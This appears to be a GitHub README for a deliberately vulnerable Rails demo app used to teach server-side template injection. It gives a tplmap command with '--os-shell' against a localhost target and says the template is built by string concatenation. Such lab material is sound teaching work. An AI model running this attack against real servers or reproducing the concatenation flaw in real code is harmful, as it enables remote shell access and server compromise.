Skip to content

This application is a demonstration prototype just to show how to perform SSTI (Server side template injection) attack.

License

Notifications You must be signed in to change notification settings

0xdbe-appsec/ssti-rail-erb

Repository files navigation

# Hands-on SSTI attack on Rails app

This application is a demonstration prototype just to show how to perform SSTI (Server side templating injection) attack.

Run server

rails server

Hack

Run SSTI attack with tplmap:

./tplmap.py --data 'name=value1' --engine erb --os-shell -u 'http://localhost:3000'

In this example, the template is built by concatenation 😱

About

This application is a demonstration prototype just to show how to perform SSTI (Server side template injection) attack.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published